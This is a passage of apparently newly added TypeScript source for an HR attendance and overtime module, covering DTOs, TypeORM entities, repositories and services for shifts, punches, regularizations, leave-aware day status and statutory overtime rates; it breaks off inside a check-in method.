IsUUID,
MaxLength,
} from "class-validator";
export class CreateOvertimeDto {
@ApiPropertyOptional({ format: "uuid", description: "Omit to claim for yourself." })
@IsOptional()
@IsUUID()
employeeId?: string;
@ApiProperty({ description: "ISO instant the extra work began." })
@IsDateString()
startedAt!: string;
@ApiProperty({ description: "ISO instant it ended." })
@IsDateString()
endedAt!: string;
@ApiPropertyOptional({
format: "date",
description:
"The day the work belongs to. Defaults to the day it began, which is what " +
"night work should use — a shift starting 22:00 Monday is Monday's overtime.",
})
@IsOptional()
@IsDateString()
workDate?: string;
@ApiPropertyOptional({ maxLength: 512 })
@IsOptional()
@IsString()
@MaxLength(512)
reason?: string;
}
export class UpdateOvertimeRateDto {
@ApiPropertyOptional({
example: "2.00",
description: "Cannot be set below the statutory floor for the category.",
})
@IsOptional()
@IsNumberString()
multiplier?: string;
@ApiPropertyOptional({ example: "2.00", nullable: true })
@IsOptional()
@IsNumberString()
maxHoursPerDay?: string | null;
}
export class DecideDto {
@ApiPropertyOptional({ maxLength: 512 })
@IsOptional()
@IsString()
@MaxLength(512)
note?: string;
}
export class RejectDto {
@ApiProperty({ maxLength: 512, description: "Required." })
@IsString()
@MaxLength(512)
note!: string;
}

View File

@@ -0,0 +1,39 @@
import { ApiProperty, ApiPropertyOptional } from "@nestjs/swagger";
import {
IsDateString,
IsOptional,
IsString,
IsUUID,
MaxLength,
} from "class-validator";
export class CreateRegularizationDto {
@ApiPropertyOptional({ format: "uuid", description: "Omit to file for yourself." })
@IsOptional()
@IsUUID()
employeeId?: string;
@ApiProperty({ format: "date", description: "The day being corrected." })
@IsDateString()
workDate!: string;
@ApiPropertyOptional({ description: "ISO instant. Omit to leave the recorded one." })
@IsOptional()
@IsDateString()
requestedCheckIn?: string;
@ApiPropertyOptional({ description: "ISO instant. Omit to leave the recorded one." })
@IsOptional()
@IsDateString()
requestedCheckOut?: string;
@ApiProperty({
maxLength: 512,
description:
"Required — a correction with no explanation is not reviewable, and this " +
"is the record an approver decides on.",
})
@IsString()
@MaxLength(512)
reason!: string;
}

View File

@@ -0,0 +1,138 @@
import { ApiProperty, ApiPropertyOptional, PartialType } from "@nestjs/swagger";
import { Type } from "class-transformer";
import {
ArrayMaxSize,
IsArray,
IsBoolean,
IsDateString,
IsInt,
IsNotEmpty,
IsObject,
IsOptional,
IsString,
IsUUID,
Matches,
Max,
MaxLength,
Min,
ValidateNested,
} from "class-validator";
import { LocalizedTextDto } from "../../leave/dto/leave-type.dto";
/** `HH:MM` or `HH:MM:SS`, 24-hour. */
const TIME = /^([01]\d|2[0-3]):[0-5]\d(:[0-5]\d)?$/;
export class CreateWorkScheduleDto {
@ApiProperty({ maxLength: 32, example: "STANDARD" })
@IsString()
@IsNotEmpty()
@MaxLength(32)
code!: string;
@ApiProperty({ type: LocalizedTextDto })
@IsObject()
@ValidateNested()
@Type(() => LocalizedTextDto)
name!: LocalizedTextDto;
@ApiPropertyOptional({ example: "08:30", default: "08:30" })
@IsOptional()
@Matches(TIME, { message: "startTime must be HH:MM or HH:MM:SS" })
startTime?: string;
@ApiPropertyOptional({ example: "17:30", default: "17:30" })
@IsOptional()
@Matches(TIME, { message: "endTime must be HH:MM or HH:MM:SS" })
endTime?: string;
@ApiPropertyOptional({ default: 60, minimum: 0, maximum: 480 })
@IsOptional()
@IsInt()
@Min(0)
@Max(480)
breakMinutes?: number;
@ApiPropertyOptional({
default: 10,
description: "Arrive within this many minutes and nothing is recorded.",
})
@IsOptional()
@IsInt()
@Min(0)
@Max(240)
gracePeriodMinutes?: number;
@ApiPropertyOptional({
type: [Number],
example: [1, 2, 3, 4, 5],
description:
"Days this shift works, 0 = Sunday. Omit to follow the organisation's " +
"working week from leave settings.",
})
@IsOptional()
@IsArray()
@ArrayMaxSize(7)
@IsInt({ each: true })
@Min(0, { each: true })
@Max(6, { each: true })
workingDays?: number[];
@ApiPropertyOptional({ default: 420, description: "7 hours." })
@IsOptional()
@IsInt()
@Min(0)
@Max(1440)
minMinutesFullDay?: number;
@ApiPropertyOptional({ default: 210 })
@IsOptional()
@IsInt()
@Min(0)
@Max(1440)
minMinutesHalfDay?: number;
@ApiPropertyOptional({
default: false,
description: "A night shift ending the following morning.",
})
@IsOptional()
@IsBoolean()
crossesMidnight?: boolean;
@ApiPropertyOptional({
default: false,
description:
"Applies to anyone with no explicit assignment. Setting it moves the " +
"default off whichever schedule currently holds it.",
})
@IsOptional()
@IsBoolean()
isDefault?: boolean;
@ApiPropertyOptional({ default: true })
@IsOptional()
@IsBoolean()
isActive?: boolean;
}
export class UpdateWorkScheduleDto extends PartialType(CreateWorkScheduleDto) {}
export class AssignScheduleDto {
@ApiProperty({ format: "uuid", description: "iam.employees.id" })
@IsUUID()
employeeId!: string;
@ApiProperty({ format: "uuid" })
@IsUUID()
workScheduleId!: string;
@ApiProperty({
format: "date",
description:
"The current assignment is closed the day before this, so history stays " +
"intact.",
})
@IsDateString()
effectiveFrom!: string;
}

View File

@@ -0,0 +1,116 @@
import { SoftDeleteAudit } from "@tria-plc/api-common/modules/typeorm/audit.entity";
import {
Column,
Entity,
Index,
JoinColumn,
ManyToOne,
PrimaryGeneratedColumn,
} from "typeorm";
import { WorkSchedule } from "./work-schedule.entity";
export enum EAttendanceStatus {
PRESENT = "PRESENT",
LATE = "LATE",
/** Expected in, never arrived, and no leave explains it. */
ABSENT = "ABSENT",
HALF_DAY = "HALF_DAY",
/** Covered by an approved leave request — `leaveRequestId` says which. */
ON_LEAVE = "ON_LEAVE",
HOLIDAY = "HOLIDAY",
/** A weekend, or a day this shift does not work. */
REST_DAY = "REST_DAY",
}
export enum EAttendanceSource {
WEB = "WEB",
MOBILE = "MOBILE",
BIOMETRIC = "BIOMETRIC",
/** Entered by hand — an administrator filling a gap. */
MANUAL = "MANUAL",
IMPORT = "IMPORT",
/** Derived, not observed: rest days, holidays and leave days. */
SYSTEM = "SYSTEM",
}
/**
* One employee, one day.
*
* `workDate` is a DATE and not a timestamp on purpose. A night shift clocking
* out at 02:00 belongs to the day it began; keying on the punch instant would
* file it under the following day and split one shift across two rows.
*/
@Entity({ schema: "hr", name: "attendance_records" })
@Index("idx_attendance_org_date", ["organizationId", "workDate"])
export class AttendanceRecord extends SoftDeleteAudit {
@PrimaryGeneratedColumn("uuid")
id!: string;
@Column({ type: "uuid", name: "organization_id" })
organizationId!: string;
@Column({ type: "uuid", name: "employee_id" })
employeeId!: string;
@Column({ type: "date", name: "work_date" })
workDate!: string;
/** The schedule in force on this date — frozen, not looked up on read. */
@Column({ type: "uuid", name: "work_schedule_id", nullable: true })
workScheduleId?: string | null;
@ManyToOne(() => WorkSchedule)
@JoinColumn({ name: "work_schedule_id" })
workSchedule?: WorkSchedule;
@Column({ type: "timestamptz", name: "check_in", nullable: true })
checkIn?: Date | null;
@Column({ type: "timestamptz", name: "check_out", nullable: true })
checkOut?: Date | null;
@Column({
type: "varchar",
length: 16,
name: "status",
default: EAttendanceStatus.ABSENT,
})
status!: EAttendanceStatus;
/** Between the punches, less the scheduled break. */
@Column({ type: "integer", name: "worked_minutes", default: 0 })
workedMinutes!: number;
/** Past the start time AND past the grace period. Zero when within grace. */
@Column({ type: "integer", name: "late_minutes", default: 0 })
lateMinutes!: number;
@Column({ type: "integer", name: "early_leave_minutes", default: 0 })
earlyLeaveMinutes!: number;
@Column({
type: "varchar",
length: 16,
name: "source",
default: EAttendanceSource.WEB,
})
source!: EAttendanceSource;
/** Set when ON_LEAVE — which approved request excuses this day. */
@Column({ type: "uuid", name: "leave_request_id", nullable: true })
leaveRequestId?: string | null;
@Column({ type: "varchar", length: 512, name: "notes", nullable: true })
notes?: string | null;
/** True once a regularization has corrected the punches. */
@Column({ type: "boolean", name: "is_regularized", default: false })
isRegularized!: boolean;
@Column({ type: "uuid", name: "created_by", nullable: true })
createdBy?: string | null;
@Column({ type: "uuid", name: "updated_by", nullable: true })
updatedBy?: string | null;
}

View File

@@ -0,0 +1,90 @@
import { SoftDeleteAudit } from "@tria-plc/api-common/modules/typeorm/audit.entity";
import { Column, Entity, Index, PrimaryGeneratedColumn } from "typeorm";
import { EAttendanceStatus } from "./attendance-record.entity";
export enum ERegularizationStatus {
SUBMITTED = "SUBMITTED",
APPROVED = "APPROVED",
REJECTED = "REJECTED",
WITHDRAWN = "WITHDRAWN",
}
/**
* A request to correct a punch — forgotten, mis-clocked, or a device that was
* down.
*
* The correction is applied only on approval. The values that were there before
* are copied onto this row at that moment, so "what did the record say before
* somebody changed it?" is answerable from the request itself, without a
* separate audit table.
*/
@Entity({ schema: "hr", name: "attendance_regularizations" })
@Index("idx_regularizations_employee", ["employeeId", "workDate"])
export class AttendanceRegularization extends SoftDeleteAudit {
@PrimaryGeneratedColumn("uuid")
id!: string;
@Column({ type: "uuid", name: "organization_id" })
organizationId!: string;
@Column({ type: "uuid", name: "employee_id" })
employeeId!: string;
/** Null when no record exists yet — a day that was never punched at all. */
@Column({ type: "uuid", name: "attendance_record_id", nullable: true })
attendanceRecordId?: string | null;
@Column({ type: "date", name: "work_date" })
workDate!: string;
@Column({ type: "timestamptz", name: "requested_check_in", nullable: true })
requestedCheckIn?: Date | null;
@Column({ type: "timestamptz", name: "requested_check_out", nullable: true })
requestedCheckOut?: Date | null;
/** Captured at approval, not at submission — the record may change meanwhile. */
@Column({ type: "timestamptz", name: "original_check_in", nullable: true })
originalCheckIn?: Date | null;
@Column({ type: "timestamptz", name: "original_check_out", nullable: true })
originalCheckOut?: Date | null;
@Column({
type: "varchar",
length: 16,
name: "original_status",
nullable: true,
})
originalStatus?: EAttendanceStatus | null;
@Column({ type: "varchar", length: 512, name: "reason" })
reason!: string;
@Column({
type: "varchar",
length: 16,
name: "status",
default: ERegularizationStatus.SUBMITTED,
})
status!: ERegularizationStatus;
@Column({ type: "uuid", name: "approver_employee_id", nullable: true })
approverEmployeeId?: string | null;
@Column({ type: "uuid", name: "decided_by_employee_id", nullable: true })
decidedByEmployeeId?: string | null;
@Column({ type: "timestamptz", name: "decided_at", nullable: true })
decidedAt?: Date | null;
@Column({ type: "varchar", length: 512, name: "decision_note", nullable: true })
decisionNote?: string | null;
@Column({ type: "uuid", name: "created_by", nullable: true })
createdBy?: string | null;
@Column({ type: "uuid", name: "updated_by", nullable: true })
updatedBy?: string | null;
}

View File

@@ -0,0 +1,135 @@
import { SoftDeleteAudit } from "@tria-plc/api-common/modules/typeorm/audit.entity";
import { Column, Entity, Index, PrimaryGeneratedColumn } from "typeorm";
/**
* Which premium applies. Derived from when the work happened, never chosen by
* the person claiming it — the category decides the money.
*/
export enum EOvertimeCategory {
/** Ordinary overtime, 06:0022:00 on a normal working day. */
DAY = "DAY",
/** Night work, 22:0006:00. */
NIGHT = "NIGHT",
/** The weekly rest day. */
REST_DAY = "REST_DAY",
PUBLIC_HOLIDAY = "PUBLIC_HOLIDAY",
}
export enum EOvertimeStatus {
SUBMITTED = "SUBMITTED",
APPROVED = "APPROVED",
REJECTED = "REJECTED",
WITHDRAWN = "WITHDRAWN",
}
/**
* The premium paid for each category, per organization.
*
* Proclamation 1156/2019 Art. 68 sets the statutory floor — 1.5× ordinary,
* 1.75× night, 2× on the weekly rest day, 2.5× on a public holiday. An employer
* may pay more, never less, which is why these are rows an employer can raise
* rather than constants only a developer can change.
*/
@Entity({ schema: "hr", name: "overtime_rates" })
@Index("idx_overtime_rates_organization_id", ["organizationId"])
export class OvertimeRate extends SoftDeleteAudit {
@PrimaryGeneratedColumn("uuid")
id!: string;
@Column({ type: "uuid", name: "organization_id" })
organizationId!: string;
@Column({ type: "varchar", length: 24, name: "category" })
category!: EOvertimeCategory;
@Column({ type: "numeric", precision: 5, scale: 2, name: "multiplier" })
multiplier!: string;
/** Art. 67 caps ordinary overtime at two hours a day. Null = uncapped. */
@Column({
type: "numeric",
precision: 5,
scale: 2,
name: "max_hours_per_day",
nullable: true,
})
maxHoursPerDay?: string | null;
@Column({ type: "varchar", length: 64, name: "statute_reference", nullable: true })
statuteReference?: string | null;
@Column({ type: "uuid", name: "created_by", nullable: true })
createdBy?: string | null;
@Column({ type: "uuid", name: "updated_by", nullable: true })
updatedBy?: string | null;
}
/**
* A claim for extra hours.
*
* `category` and `multiplier` are both frozen on the row. The category is
* derived at submission from when the work happened; the multiplier is copied
* from the rate table at that moment. A rate rise next year must not silently
* reprice work already done — and, worse, already paid.
*/
@Entity({ schema: "hr", name: "overtime_requests" })
@Index("idx_overtime_requests_employee", ["employeeId", "workDate"])
export class OvertimeRequest extends SoftDeleteAudit {
@PrimaryGeneratedColumn("uuid")
id!: string;
@Column({ type: "uuid", name: "organization_id" })
organizationId!: string;
@Column({ type: "uuid", name: "employee_id" })
employeeId!: string;
/** The day the work belongs to — night work belongs to the day it began. */
@Column({ type: "date", name: "work_date" })
workDate!: string;
@Column({ type: "timestamptz", name: "started_at" })
startedAt!: Date;
@Column({ type: "timestamptz", name: "ended_at" })
endedAt!: Date;
@Column({ type: "numeric", precision: 6, scale: 2, name: "hours" })
hours!: string;
@Column({ type: "varchar", length: 24, name: "category" })
category!: EOvertimeCategory;
@Column({ type: "numeric", precision: 5, scale: 2, name: "multiplier" })
multiplier!: string;
@Column({
type: "varchar",
length: 16,
name: "status",
default: EOvertimeStatus.SUBMITTED,
})
status!: EOvertimeStatus;
@Column({ type: "varchar", length: 512, name: "reason", nullable: true })
reason?: string | null;
@Column({ type: "uuid", name: "approver_employee_id", nullable: true })
approverEmployeeId?: string | null;
@Column({ type: "uuid", name: "decided_by_employee_id", nullable: true })
decidedByEmployeeId?: string | null;
@Column({ type: "timestamptz", name: "decided_at", nullable: true })
decidedAt?: Date | null;
@Column({ type: "varchar", length: 512, name: "decision_note", nullable: true })
decisionNote?: string | null;
@Column({ type: "uuid", name: "created_by", nullable: true })
createdBy?: string | null;
@Column({ type: "uuid", name: "updated_by", nullable: true })
updatedBy?: string | null;
}

View File

@@ -0,0 +1,52 @@
import { SoftDeleteAudit } from "@tria-plc/api-common/modules/typeorm/audit.entity";
import {
Column,
Entity,
Index,
JoinColumn,
ManyToOne,
PrimaryGeneratedColumn,
} from "typeorm";
import { WorkSchedule } from "./work-schedule.entity";
/**
* Who is on which shift, and since when.
*
* Dated rather than a plain column on the profile, because attendance already
* recorded must keep being judged against the schedule that applied on the day.
* Moving someone to a later shift should not retroactively make last month's
* punctual arrivals late.
*/
@Entity({ schema: "hr", name: "work_schedule_assignments" })
@Index("idx_schedule_assignments_employee", ["employeeId", "effectiveFrom"])
export class WorkScheduleAssignment extends SoftDeleteAudit {
@PrimaryGeneratedColumn("uuid")
id!: string;
@Column({ type: "uuid", name: "organization_id" })
organizationId!: string;
@Column({ type: "uuid", name: "employee_id" })
employeeId!: string;
@Column({ type: "uuid", name: "work_schedule_id" })
workScheduleId!: string;
@ManyToOne(() => WorkSchedule)
@JoinColumn({ name: "work_schedule_id" })
workSchedule?: WorkSchedule;
@Column({ type: "date", name: "effective_from" })
effectiveFrom!: string;
/** Null = current. Only one open assignment per employee. */
@Column({ type: "date", name: "effective_to", nullable: true })
effectiveTo?: string | null;
@Column({ type: "uuid", name: "created_by", nullable: true })
createdBy?: string | null;
@Column({ type: "uuid", name: "updated_by", nullable: true })
updatedBy?: string | null;
}

View File

@@ -0,0 +1,72 @@
import { SoftDeleteAudit } from "@tria-plc/api-common/modules/typeorm/audit.entity";
import { Column, Entity, Index, PrimaryGeneratedColumn } from "typeorm";
/**
* A shift pattern.
*
* Proclamation 1156/2019 Art. 61 caps normal hours at eight a day and 48 a week;
* the defaults here (08:3017:30 with an hour's break) are one common way to sit
* inside that, not the only one. Every threshold is a column because employers
* differ and none of this is the developer's decision.
*/
@Entity({ schema: "hr", name: "work_schedules" })
@Index("idx_work_schedules_organization_id", ["organizationId"])
export class WorkSchedule extends SoftDeleteAudit {
@PrimaryGeneratedColumn("uuid")
id!: string;
@Column({ type: "uuid", name: "organization_id" })
organizationId!: string;
@Column({ type: "varchar", length: 32, name: "code" })
code!: string;
@Column({ type: "jsonb", name: "name" })
name!: { am: string; en: string };
/** Wall-clock, no date and no zone — `HH:MM:SS`. */
@Column({ type: "time", name: "start_time", default: "08:30" })
startTime!: string;
@Column({ type: "time", name: "end_time", default: "17:30" })
endTime!: string;
@Column({ type: "smallint", name: "break_minutes", default: 60 })
breakMinutes!: number;
/** How late someone can arrive before it counts as late. */
@Column({ type: "smallint", name: "grace_period_minutes", default: 10 })
gracePeriodMinutes!: number;
/**
* Days this shift is worked, `0` = Sunday. `null` falls back to the
* organization's `leave_settings.weekend_days`, so the two cannot drift for
* the ordinary case where a shift simply follows the company week.
*/
@Column({ type: "smallint", array: true, name: "working_days", nullable: true })
workingDays?: number[] | null;
/** Minutes actually worked before the day counts as full. Default 7 hours. */
@Column({ type: "smallint", name: "min_minutes_full_day", default: 420 })
minMinutesFullDay!: number;
@Column({ type: "smallint", name: "min_minutes_half_day", default: 210 })
minMinutesHalfDay!: number;
/** A night shift ending the following morning. Changes duration arithmetic. */
@Column({ type: "boolean", name: "crosses_midnight", default: false })
crossesMidnight!: boolean;
/** Applies to anyone with no explicit assignment. One per organization. */
@Column({ type: "boolean", name: "is_default", default: false })
isDefault!: boolean;
@Column({ type: "boolean", name: "is_active", default: true })
isActive!: boolean;
@Column({ type: "uuid", name: "created_by", nullable: true })
createdBy?: string | null;
@Column({ type: "uuid", name: "updated_by", nullable: true })
updatedBy?: string | null;
}

View File

@@ -0,0 +1,112 @@
import { Injectable } from "@nestjs/common";
import { InjectRepository } from "@nestjs/typeorm";
import { BaseRepository } from "@edr/api-common";
import { Repository } from "typeorm";
import {
AttendanceRecord,
EAttendanceStatus,
} from "../entities/attendance-record.entity";
@Injectable()
export class AttendanceRepository extends BaseRepository<AttendanceRecord> {
constructor(
@InjectRepository(AttendanceRecord) repository: Repository<AttendanceRecord>,
) {
super(repository);
}
findForDate(
employeeId: string,
workDate: string,
): Promise<AttendanceRecord | null> {
return this.repository.findOne({
where: { employeeId, workDate },
relations: { workSchedule: true },
});
}
findRange(
employeeId: string,
from: string,
to: string,
): Promise<AttendanceRecord[]> {
return this.repository
.createQueryBuilder("record")
.leftJoinAndSelect("record.workSchedule", "schedule")
.where("record.employee_id = :employeeId", { employeeId })
.andWhere("record.work_date BETWEEN :from AND :to", { from, to })
.orderBy("record.workDate", "DESC")
.getMany();
}
async findPage(filters: {
organizationId?: string | null;
employeeId?: string;
status?: EAttendanceStatus;
from?: string;
to?: string;
page?: number;
limit?: number;
}): Promise<[AttendanceRecord[], number]> {
const page = filters.page ?? 1;
const limit = filters.limit ?? 25;
const qb = this.repository
.createQueryBuilder("record")
.leftJoinAndSelect("record.workSchedule", "schedule");
if (filters.organizationId) {
qb.andWhere("record.organization_id = :organizationId", {
organizationId: filters.organizationId,
});
}
if (filters.employeeId) {
qb.andWhere("record.employee_id = :employeeId", {
employeeId: filters.employeeId,
});
}
if (filters.status) {
qb.andWhere("record.status = :status", { status: filters.status });
}
if (filters.from) {
qb.andWhere("record.work_date >= :from", { from: filters.from });
}
if (filters.to) {
qb.andWhere("record.work_date <= :to", { to: filters.to });
}
// Property names, not columns — orderBy resolves through entity metadata and
// a snake_case name throws once a join is present.
return qb
.orderBy("record.workDate", "DESC")
.skip((page - 1) * limit)
.take(limit)
.getManyAndCount();
}
/** Counts by status for a range — the summary strip on the attendance page. */
async summarize(
organizationId: string | null,
employeeId: string | undefined,
from: string,
to: string,
): Promise<Record<string, number>> {
const qb = this.repository
.createQueryBuilder("record")
.select("record.status", "status")
.addSelect("COUNT(*)", "count")
.where("record.work_date BETWEEN :from AND :to", { from, to })
.groupBy("record.status");
if (organizationId) {
qb.andWhere("record.organization_id = :organizationId", { organizationId });
}
if (employeeId) {
qb.andWhere("record.employee_id = :employeeId", { employeeId });
}
const rows = await qb.getRawMany<{ status: string; count: string }>();
return Object.fromEntries(rows.map((row) => [row.status, Number(row.count)]));
}
}

View File

@@ -0,0 +1,94 @@
import { Injectable } from "@nestjs/common";
import { InjectRepository } from "@nestjs/typeorm";
import { BaseRepository } from "@edr/api-common";
import { IsNull, LessThanOrEqual, Repository } from "typeorm";
import { WorkSchedule } from "../entities/work-schedule.entity";
import { WorkScheduleAssignment } from "../entities/work-schedule-assignment.entity";
@Injectable()
export class WorkSchedulesRepository extends BaseRepository<WorkSchedule> {
constructor(@InjectRepository(WorkSchedule) repository: Repository<WorkSchedule>) {
super(repository);
}
findByCode(organizationId: string, code: string): Promise<WorkSchedule | null> {
return this.repository.findOne({ where: { organizationId, code } });
}
findDefault(organizationId: string): Promise<WorkSchedule | null> {
return this.repository.findOne({
where: { organizationId, isDefault: true, isActive: true },
});
}
findAllFor(organizationId: string | null): Promise<WorkSchedule[]> {
return this.repository.find({
where: organizationId ? { organizationId } : {},
order: { code: "ASC" },
});
}
/** Clear the current default before setting a new one — the index allows one. */
async clearDefault(organizationId: string): Promise<void> {
await this.repository.update({ organizationId, isDefault: true }, {
isDefault: false,
});
}
}
@Injectable()
export class WorkScheduleAssignmentsRepository extends BaseRepository<WorkScheduleAssignment> {
constructor(
@InjectRepository(WorkScheduleAssignment)
repository: Repository<WorkScheduleAssignment>,
) {
super(repository);
}
/**
* The assignment in force on a date.
*
* Ordered newest-first so a re-assignment supersedes an older open one even if
* the older was never closed — the unique index prevents that, but a query
* that depends on data being clean is a query that breaks when it is not.
*/
async findOnDate(
employeeId: string,
date: string,
): Promise<WorkScheduleAssignment | null> {
return this.repository
.createQueryBuilder("assignment")
.leftJoinAndSelect("assignment.workSchedule", "schedule")
.where("assignment.employee_id = :employeeId", { employeeId })
.andWhere("assignment.effective_from <= :date", { date })
.andWhere(
"(assignment.effective_to IS NULL OR assignment.effective_to >= :date)",
{ date },
)
.orderBy("assignment.effectiveFrom", "DESC")
.getOne();
}
findOpenFor(employeeId: string): Promise<WorkScheduleAssignment | null> {
return this.repository.findOne({
where: { employeeId, effectiveTo: IsNull() },
relations: { workSchedule: true },
});
}
/** How many employees are currently on a schedule — the delete guard. */
findOpenForSchedule(workScheduleId: string): Promise<number> {
return this.repository.count({
where: { workScheduleId, effectiveTo: IsNull() },
});
}
findHistory(employeeId: string): Promise<WorkScheduleAssignment[]> {
return this.repository.find({
where: { employeeId, effectiveFrom: LessThanOrEqual("9999-12-31") },
relations: { workSchedule: true },
order: { effectiveFrom: "DESC" },
});
}
}

View File

@@ -0,0 +1,211 @@
import { Injectable } from "@nestjs/common";
import { InjectDataSource } from "@nestjs/typeorm";
import { DataSource } from "typeorm";
import {
WorkingDaysService,
dayOfWeek,
} from "../../leave/services/working-days.service";
import { LeaveSettingsService } from "../../leave/services/leave-settings.service";
import { WorkSchedule } from "../entities/work-schedule.entity";
import { EAttendanceStatus } from "../entities/attendance-record.entity";
/** Why a day is not workable, when it is not. */
export interface DayContext {
workDate: string;
isWorkingDay: boolean;
isHoliday: boolean;
holidayName: string | null;
/** The approved leave covering this date, if any. */
leave: { requestId: string; leaveTypeCode: string; isHalfDay: boolean } | null;
}
const MINUTES = 60_000;
/** `HH:MM[:SS]` on a date, as an instant. Times are wall-clock; dates are dates. */
export const atTime = (workDate: string, time: string): Date =>
new Date(`${workDate}T${time.length === 5 ? `${time}:00` : time}`);
@Injectable()
export class AttendanceDayService {
constructor(
@InjectDataSource() private readonly dataSource: DataSource,
private readonly settingsService: LeaveSettingsService,
) {}
/**
* What kind of day this is for this employee.
*
* Attendance cannot be judged without it: the same absence is a rest day, an
* excused leave day or an unexplained absence depending on facts that live in
* three different places. Getting this wrong in the direction of ABSENT is the
* expensive one — it turns a legitimate holiday into a disciplinary record.
*/
async contextFor(
employeeId: string,
organizationId: string,
workDate: string,
schedule: WorkSchedule | null,
): Promise<DayContext> {
const settings = await this.settingsService.resolve(organizationId);
// A schedule may name its own working days; otherwise the company week
// applies, so the two cannot drift for the ordinary case.
const nonWorking = schedule?.workingDays
? [0, 1, 2, 3, 4, 5, 6].filter((day) => !schedule.workingDays!.includes(day))
: settings.weekendDays;
const [holiday] = await this.dataSource.query<
{ name: { en: string; am: string } }[]
>(
`SELECT "name" FROM hr.holidays
WHERE "deleted_at" IS NULL
AND "is_working_day" = false
AND "observed_on" = $1::date
AND ("organization_id" IS NULL OR "organization_id" = $2::uuid)
LIMIT 1`,
[workDate, organizationId],
);
// Only APPROVED leave excuses an absence. A submitted request has not been
// agreed to, and treating it as cover would let anyone excuse themselves by
// filing a request nobody ever looks at.
const [leave] = await this.dataSource.query<
{ requestId: string; leaveTypeCode: string; isHalfDay: boolean }[]
>(
`SELECT r."id" AS "requestId", t."code" AS "leaveTypeCode",
r."is_half_day" AS "isHalfDay"
FROM hr.leave_requests r
JOIN hr.leave_types t ON t."id" = r."leave_type_id"
WHERE r."deleted_at" IS NULL
AND r."employee_id" = $1::uuid
AND r."status" = 'APPROVED'
AND $2::date BETWEEN r."start_date" AND r."end_date"
LIMIT 1`,
[employeeId, workDate],
);
return {
workDate,
isWorkingDay: !nonWorking.includes(dayOfWeek(workDate)),
isHoliday: Boolean(holiday),
holidayName: holiday?.name?.en ?? null,
leave: leave ?? null,
};
}
/**
* The status of a day nobody punched for.
*
* Order matters and is not arbitrary. Leave wins over a holiday: somebody on a
* fortnight's annual leave that contains Meskel has that day charged against
* their balance by the leave module, and calling it HOLIDAY here would make
* attendance and the leave ledger tell different stories about the same day.
*/
static statusForUnworkedDay(context: DayContext): {
status: EAttendanceStatus;
leaveRequestId: string | null;
notes: string | null;
} {
if (context.leave) {
return {
status: EAttendanceStatus.ON_LEAVE,
leaveRequestId: context.leave.requestId,
notes: `${context.leave.leaveTypeCode} leave`,
};
}
if (context.isHoliday) {
return {
status: EAttendanceStatus.HOLIDAY,
leaveRequestId: null,
notes: context.holidayName,
};
}
if (!context.isWorkingDay) {
return {
status: EAttendanceStatus.REST_DAY,
leaveRequestId: null,
notes: null,
};
}
return { status: EAttendanceStatus.ABSENT, leaveRequestId: null, notes: null };
}
/**
* Minutes and lateness from a pair of punches.
*
* The break is deducted only from a day long enough to have taken one —
* subtracting an hour's lunch from a two-hour morning would report negative
* work, and clamping that to zero would silently erase the two hours.
*/
static measure(
schedule: WorkSchedule | null,
workDate: string,
checkIn: Date,
checkOut: Date | null,
): { workedMinutes: number; lateMinutes: number; earlyLeaveMinutes: number } {
if (!checkOut) {
return { workedMinutes: 0, lateMinutes: 0, earlyLeaveMinutes: 0 };
}
const gross = Math.max(
0,
Math.round((checkOut.getTime() - checkIn.getTime()) / MINUTES),
);
if (!schedule) {
return { workedMinutes: gross, lateMinutes: 0, earlyLeaveMinutes: 0 };
}
const breakMinutes = gross > schedule.breakMinutes ? schedule.breakMinutes : 0;
const workedMinutes = gross - breakMinutes;
const scheduledStart = atTime(workDate, schedule.startTime);
const scheduledEnd = schedule.crossesMidnight
? new Date(atTime(workDate, schedule.endTime).getTime() + 86_400_000)
: atTime(workDate, schedule.endTime);
const lateBy = Math.round(
(checkIn.getTime() - scheduledStart.getTime()) / MINUTES,
);
// Grace is all-or-nothing: inside it, nothing is recorded. Recording the
// minutes anyway would make the grace period cosmetic, and someone would
// eventually report on the raw figure.
const lateMinutes = lateBy > schedule.gracePeriodMinutes ? lateBy : 0;
const earlyBy = Math.round(
(scheduledEnd.getTime() - checkOut.getTime()) / MINUTES,
);
const earlyLeaveMinutes = earlyBy > 0 ? earlyBy : 0;
return { workedMinutes, lateMinutes, earlyLeaveMinutes };
}
/** PRESENT, LATE or HALF_DAY, from what was actually worked. */
static statusForWorkedDay(
schedule: WorkSchedule | null,
measured: { workedMinutes: number; lateMinutes: number },
): EAttendanceStatus {
if (schedule && measured.workedMinutes < schedule.minMinutesHalfDay) {
// Under even the half-day threshold. Not marked ABSENT — they were here,
// and a record showing a short day is more useful than one denying it.
return EAttendanceStatus.HALF_DAY;
}
if (schedule && measured.workedMinutes < schedule.minMinutesFullDay) {
return EAttendanceStatus.HALF_DAY;
}
return measured.lateMinutes > 0
? EAttendanceStatus.LATE
: EAttendanceStatus.PRESENT;
}
/** Every date in a range, inclusive — for the daily backfill. */
static datesBetween(start: string, end: string): string[] {
const dates: string[] = [];
const total = WorkingDaysService.countCalendarDays({ start, end });
for (let index = 0; index < total; index += 1) {
const cursor = new Date(Date.parse(`${start}T00:00:00Z`) + index * 86_400_000);
dates.push(cursor.toISOString().slice(0, 10));
}
return dates;
}
}

View File

@@ -0,0 +1,434 @@
import {
BadRequestException,
ConflictException,
Injectable,
NotFoundException,
} from "@nestjs/common";
import { ActorContext, orgScope } from "../../employees/employees.service";
import { EmployeesRepository } from "../../employees/employees.repository";
import { IamDirectoryService } from "../../../iam-directory/iam-directory.service";
import { Paginated, paginate } from "../../../common/pagination.dto";
import { AttendanceRepository } from "../repositories/attendance.repository";
import {
AttendanceRecord,
EAttendanceSource,
EAttendanceStatus,
} from "../entities/attendance-record.entity";
import { AttendanceDayService } from "./attendance-day.service";
import { WorkSchedulesService } from "./work-schedules.service";
import { RecordAttendanceDto } from "../dto/attendance.dto";
import { daysBetween } from "../../leave/services/working-days.service";
/** Backfilling more than this in one call is a job, not a request. */
const MAX_BACKFILL_DAYS = 92;
@Injectable()
export class AttendanceService {
constructor(
private readonly attendance: AttendanceRepository,
private readonly schedules: WorkSchedulesService,
private readonly days: AttendanceDayService,
private readonly employees: EmployeesRepository,
private readonly iamDirectory: IamDirectoryService,
) {}
/**
* Clock in.
*
* Refuses a second check-in for the same day rather than overwriting the
* first: the earliest punch is the one that decides lateness, and letting a
* later one replace it would quietly erase a late arrival.
*/
async checkIn(
employeeId: string,
at: Date,
source: EAttendanceSource,
actor: ActorContext,
notes?: string,
): Promise<AttendanceRecord> {
const { organizationId, workDate } = await this.resolveContext(
employeeId,
at,
actor,
);
const existing = await this.attendance.findForDate(employeeId, workDate);
